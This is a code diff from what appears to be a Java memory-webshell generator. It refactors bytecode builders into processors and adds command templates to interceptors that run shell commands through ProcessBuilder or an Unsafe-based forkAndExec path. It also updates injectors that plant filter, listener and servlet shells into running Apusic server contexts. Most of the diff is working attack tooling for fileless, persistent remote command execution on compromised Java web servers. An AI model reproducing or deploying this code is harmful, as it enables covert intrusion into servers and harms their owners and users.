public boolean isJakarta() { public boolean isJakarta() {
return shellType.startsWith(ShellType.JAKARTA); return shellType.startsWith(ShellType.JAKARTA);
} }
@@ -1,19 +0,0 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ShellGenerator;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
/**
* @author ReaJason
* @since 2025/5/27
*/
public abstract class ASMShellGenerator<T extends ShellToolConfig> implements ShellGenerator {
protected final ShellConfig shellConfig;
protected final T shellToolConfig;
protected ASMShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
this.shellConfig = shellConfig;
this.shellToolConfig = shellToolConfig;
}
}
@@ -1,16 +1,10 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.GenerationException; import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.ShellGenerator; import com.reajason.javaweb.ShellGenerator;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.server.AbstractServer;
import net.bytebuddy.description.type.TypeDescription; import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
@@ -34,38 +28,21 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
DynamicType.Builder<?> builder = getBuilder(); DynamicType.Builder<?> builder = getBuilder();
String shellClassName = shellToolConfig.getShellClassName(); String shellClassName = shellToolConfig.getShellClassName();
Class<?> shellClass = shellToolConfig.getShellClass(); Class<?> shellClass = shellToolConfig.getShellClass();
if (shellClass != null) { if (shellClass != null) {
shellToolConfig.setShellTypeDescription(TypeDescription.ForLoadedType.of(shellClass)); shellToolConfig.setShellTypeDescription(TypeDescription.ForLoadedType.of(shellClass));
} }
if (shellToolConfig.getShellTypeDescription() == null) { if (shellToolConfig.getShellTypeDescription() == null) {
throw new GenerationException("shellClass or shellTypeDescription could not be null."); throw new GenerationException("shellClass or shellTypeDescription could not be null.");
} }
String shellType = shellConfig.getShellType(); builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig)
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellToolConfig.getShellTypeDescription(), shellClassName);
}
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
builder = ValveGenerator.build(builder, server, shellConfig.getServerVersion());
}
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
builder = builder
.name(shellClassName) .name(shellClassName)
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())); .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
try (DynamicType.Unloaded<?> unloaded = builder.make()) { try (DynamicType.Unloaded<?> unloaded = builder.make()) {
return ClassBytesShrink.shrink(unloaded.getBytes(), shellConfig.isShrink()); return ProcessorRegistry.applyByteProcessors(unloaded.getBytes(), shellConfig, shellToolConfig);
} }
} }
} }
@@ -0,0 +1,12 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
/**
* @author ReaJason
* @since 2025/12/7
*/
public interface Processor<T> {
T process(T input, ShellConfig shellConfig, ShellToolConfig shellToolConfig);
}
@@ -0,0 +1,52 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.processors.*;
import net.bytebuddy.dynamic.DynamicType;
import java.util.Arrays;
import java.util.List;
/**
* @author ReaJason
* @since 2025/12/7
*/
public final class ProcessorRegistry {
private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList(
new ListenerBuilderModifier(),
new ValveBuilderModifier(),
new JakartaBuilderModifier(),
new DebugOffBuilderModifier()
);
private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
new ShrinkPostProcessor(),
new JettyHandlerPostProcessor()
);
private ProcessorRegistry() {
// Prevent instantiation
}
public static DynamicType.Builder<?> applyBuilderProcessors(
DynamicType.Builder<?> builder,
ShellConfig shellConfig,
ShellToolConfig shellToolConfig) {
for (Processor<DynamicType.Builder<?>> processor : BUILDER_PROCESSORS) {
builder = processor.process(builder, shellConfig, shellToolConfig);
}
return builder;
}
public static byte[] applyByteProcessors(
byte[] bytes,
ShellConfig shellConfig,
ShellToolConfig shellToolConfig) {
for (Processor<byte[]> processor : BYTE_PROCESSORS) {
bytes = processor.process(bytes, shellConfig, shellToolConfig);
}
return bytes;
}
}
@@ -1,8 +1,6 @@
package com.reajason.javaweb.memshell.generator.command; package com.reajason.javaweb.memshell.generator.command;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper; import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator; import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
@@ -33,14 +31,6 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
.field(named("paramName")) .field(named("paramName"))
.value(shellToolConfig.getParamName()); .value(shellToolConfig.getParamName());
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) { if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) {
builder = builder builder = builder
.visit(MethodCallReplaceVisitorWrapper.newInstance("getParam", .visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
@@ -52,13 +42,17 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString"))) .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam"))); .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
} }
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) { if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream"))); builder = builder.visit(Advice.withCustomMapping()
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
.to(RuntimeExecInterceptor.class)
.on(named("getInputStream")));
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) { } else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) {
builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream"))); builder = builder.visit(Advice.withCustomMapping()
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
.to(ForkAndExecInterceptor.class)
.on(named("getInputStream")));
} }
return builder; return builder;
} }
} }
@@ -13,9 +13,27 @@ import java.lang.reflect.Method;
*/ */
public class ForkAndExecInterceptor { public class ForkAndExecInterceptor {
@Advice.OnMethodExit @Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException { public static void enter(@Advice.Argument(value = 0) String cmd,
@Advice.Return(readOnly = false) InputStream returnValue,
@TemplateAnnotation String template
) throws IOException {
try { try {
String[] strs = cmd.split("\\s+"); String[] cmdarray = null;
String t = template;
if (t == null) {
cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
} else {
if (t.contains("\"{command}\"")) {
String[] split = t.split("\\s+");
for (int i = 0; i < split.length; i++) {
split[i] = split[i].replace("\"{command}\"", cmd);
}
cmdarray = split;
} else {
String cmdline = t.replace("{command}", cmd);
cmdarray = cmdline.split("\\s+");
}
}
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe"); Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true); unsafeField.setAccessible(true);
@@ -30,11 +48,11 @@ public class ForkAndExecInterceptor {
} }
Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass); Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass);
byte[][] args = new byte[strs.length - 1][]; byte[][] args = new byte[cmdarray.length - 1][];
int size = args.length; int size = args.length;
for (int i = 0; i < args.length; i++) { for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes(); args[i] = cmdarray[i + 1].getBytes();
size += args[i].length; size += args[i].length;
} }
@@ -48,7 +66,7 @@ public class ForkAndExecInterceptor {
int[] envc = new int[1]; int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1}; int[] std_fds = new int[]{-1, -1, -1};
byte[] bytes = strs[0].getBytes(); byte[] bytes = cmdarray[0].getBytes();
byte[] result = new byte[bytes.length + 1]; byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0, System.arraycopy(bytes, 0,
result, 0, result, 0,
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.generator.command; package com.reajason.javaweb.memshell.generator.command;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import org.apache.commons.io.IOUtils;
import java.io.IOException; import java.io.IOException;
import java.io.InputStream; import java.io.InputStream;
@@ -10,9 +11,28 @@ import java.io.InputStream;
* @since 2025/5/25 * @since 2025/5/25
*/ */
public class RuntimeExecInterceptor { public class RuntimeExecInterceptor {
@Advice.OnMethodExit @Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException { public static void enter(@Advice.Argument(value = 0) String cmd,
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; @Advice.Return(readOnly = false) InputStream returnValue,
returnValue = new ProcessBuilder(cmds).redirectErrorStream(true).start().getInputStream(); @TemplateAnnotation String template
) throws IOException {
String[] cmdarray = null;
String t = template;
if (t == null) {
cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
} else {
if (t.contains("\"{command}\"")) {
String[] split = t.split("\\s+");
for (int i = 0; i < split.length; i++) {
split[i] = split[i].replace("\"{command}\"", cmd);
}
cmdarray = split;
} else {
String cmdline = t.replace("{command}", cmd);
cmdarray = cmdline.split("\\s+");
}
}
returnValue = new ProcessBuilder(cmdarray).redirectErrorStream(true).start().getInputStream();
} }
} }
@@ -0,0 +1,8 @@
package com.reajason.javaweb.memshell.generator.command;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
@Retention(RetentionPolicy.RUNTIME)
public @interface TemplateAnnotation {
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
import net.bytebuddy.dynamic.DynamicType;
/**
* @author ReaJason
* @since 2025/12/7
*/
public class DebugOffBuilderModifier implements Processor<DynamicType.Builder<?>> {
@Override
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
return builder;
}
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
import net.bytebuddy.dynamic.DynamicType;
/**
* @author ReaJason
* @since 2025/12/7
*/
public class JakartaBuilderModifier implements Processor<DynamicType.Builder<?>> {
@Override
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
return builder;
}
}
@@ -0,0 +1,62 @@
package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.asm.ClassSuperClassUtils;
import com.reajason.javaweb.asm.MethodUtils;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.memshell.server.Jetty;
/**
* @author ReaJason
* @since 2025/12/7
*/
public class JettyHandlerPostProcessor implements Processor<byte[]> {
@Override
public byte[] process(byte[] bytes, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
String shellType = shellConfig.getShellType();
if (server instanceof Jetty
&& (ShellType.HANDLER.equals(shellType)
|| ShellType.JAKARTA_HANDLER.equals(shellType))
) {
String superClassName = null;
String serverVersion = shellConfig.getServerVersion();
if (serverVersion != null) {
switch (serverVersion) {
case "6":
superClassName = "org/mortbay/jetty/handler/AbstractHandler";
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z");
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V");
bytes = ClassRenameUtils.relocateClass(bytes, "org/eclipse/jetty/server", "org/mortbay/jetty");
break;
case "7+":
superClassName = "org/eclipse/jetty/server/handler/AbstractHandler";
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z");
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V");
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V");
break;
case "12":
superClassName = "org/eclipse/jetty/server/Handler$Abstract";
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/Object;Ljava/lang/Object;)Z");
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V");
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V");
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V");
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;)V");
break;
}
}
if (superClassName == null) {
throw new GenerationException("serverVersion is needed for Jetty Handler or unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7+', '12'] for shellConfig.serverVersion");
}
return ClassSuperClassUtils.addSuperClass(bytes, superClassName);
}
return bytes;
}
}
@@ -1,7 +1,13 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.GenerationException; import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper; import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.utils.ShellCommonUtil; import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.method.MethodDescription; import net.bytebuddy.description.method.MethodDescription;
@@ -18,12 +24,26 @@ import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
/** /**
* @author ReaJason * @author ReaJason
* @since 2025/2/22 * @since 2025/12/7
*/ */
public class ListenerGenerator { public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>> {
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor, @Override
TypeDescription typeDefinition, String newClassName) { public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
String shellType = shellConfig.getShellType();
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
String shellClassName = shellToolConfig.getShellClassName();
builder = modifier(builder,
server.getListenerInterceptor(),
shellToolConfig.getShellTypeDescription(),
shellClassName);
}
return builder;
}
public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, Class<?> implInterceptor,
TypeDescription typeDefinition, String newClassName) {
MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods(); MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
if (methods.filter(ElementMatchers.named("getResponseFromRequest") if (methods.filter(ElementMatchers.named("getResponseFromRequest")
@@ -0,0 +1,18 @@
package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
/**
* @author ReaJason
* @since 2025/12/7
*/
public class ShrinkPostProcessor implements Processor<byte[]> {
@Override
public byte[] process(byte[] bytes, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
}
}
@@ -1,6 +1,11 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.GenerationException; import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
import com.reajason.javaweb.memshell.server.AbstractServer; import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.memshell.server.Bes; import com.reajason.javaweb.memshell.server.Bes;
import com.reajason.javaweb.memshell.server.TongWeb; import com.reajason.javaweb.memshell.server.TongWeb;
@@ -12,6 +17,7 @@ import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.Implementation; import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.jar.asm.ClassVisitor; import net.bytebuddy.jar.asm.ClassVisitor;
import net.bytebuddy.jar.asm.Opcodes;
import net.bytebuddy.jar.asm.commons.ClassRemapper; import net.bytebuddy.jar.asm.commons.ClassRemapper;
import net.bytebuddy.jar.asm.commons.Remapper; import net.bytebuddy.jar.asm.commons.Remapper;
import net.bytebuddy.pool.TypePool; import net.bytebuddy.pool.TypePool;
@@ -20,9 +26,19 @@ import org.jetbrains.annotations.NotNull;
/** /**
* @author ReaJason * @author ReaJason
* @since 2025/2/22 * @since 2025/12/7
*/ */
public class ValveGenerator { public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
@Override
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
String shellType = shellConfig.getShellType();
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
builder = modifier(builder, server, shellConfig.getServerVersion());
}
return builder;
}
public static final String CATALINA_VALVE_PACKAGE = "org.apache.catalina"; public static final String CATALINA_VALVE_PACKAGE = "org.apache.catalina";
public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier"; public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier";
@@ -30,9 +46,15 @@ public class ValveGenerator {
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina"; public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server"; public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) { public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
String packageName = null; String packageName = null;
if (serverVersion != null) { if (shell instanceof Bes) {
packageName = BES_VALVE_PACKAGE;
}
if (shell instanceof TongWeb) {
if (serverVersion == null) {
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8'] for shellConfig.serverVersion");
}
switch (serverVersion) { switch (serverVersion) {
case "6": case "6":
packageName = TONGWEB6_VALVE_PACKAGE; packageName = TONGWEB6_VALVE_PACKAGE;
@@ -43,18 +65,14 @@ public class ValveGenerator {
case "8": case "8":
packageName = TONGWEB8_VALVE_PACKAGE; packageName = TONGWEB8_VALVE_PACKAGE;
break; break;
default:
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8'] for shellConfig.serverVersion");
} }
} }
if (shell instanceof Bes) { if (StringUtils.isNotBlank(packageName)) {
packageName = BES_VALVE_PACKAGE; return builder.visit(new ValveRenameVisitorWrapper(packageName));
} }
if (StringUtils.isEmpty(packageName)) { return builder;
if (shell instanceof TongWeb) {
throw new GenerationException("serverVersion is needed for TongWeb valve shell, please use 6/7/8 for shellConfig.serverVersion");
}
return builder;
}
return builder.visit(new ValveRenameVisitorWrapper(packageName));
} }
public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper { public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
@@ -86,7 +104,7 @@ public class ValveGenerator {
int readerFlags) { int readerFlags) {
return new ClassRemapper( return new ClassRemapper(
classVisitor, classVisitor,
new Remapper() { new Remapper(Opcodes.ASM9) {
@Override @Override
public String map(String typeName) { public String map(String typeName) {
String packageName = CATALINA_VALVE_PACKAGE.replace(".", "/"); String packageName = CATALINA_VALVE_PACKAGE.replace(".", "/");
@@ -7,8 +7,7 @@ import java.io.PrintStream;
import java.lang.reflect.Array; import java.lang.reflect.Array;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.HashSet;
import java.util.List;
import java.util.Map; import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -19,7 +18,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ApusicFilterInjector { public class ApusicFilterInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -34,16 +34,21 @@ public class ApusicFilterInjector {
} }
public ApusicFilterInjector() { public ApusicFilterInjector() {
List<Object> contexts = null; if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -52,6 +57,7 @@ public class ApusicFilterInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -77,8 +83,8 @@ public class ApusicFilterInjector {
* context -> webapp: com.apusic.deploy.runtime.WebModule * context -> webapp: com.apusic.deploy.runtime.WebModule
* /usr/local/ass/lib/apusic.jar * /usr/local/ass/lib/apusic.jar
*/ */
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("HouseKeeper")) { if (thread.getName().contains("HouseKeeper")) {
@@ -6,10 +6,7 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.*;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -18,7 +15,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ApusicListenerInjector { public class ApusicListenerInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -33,24 +31,30 @@ public class ApusicListenerInjector {
} }
public ApusicListenerInjector() { public ApusicListenerInjector() {
List<Object> contexts = null; if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[/*] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) { } catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n"; msg += "failed " + getErrorMessage(e) + "\n";
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -71,8 +75,8 @@ public class ApusicListenerInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("HouseKeeper")) { if (thread.getName().contains("HouseKeeper")) {
@@ -6,10 +6,7 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.*;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -18,7 +15,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ApusicServletInjector { public class ApusicServletInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
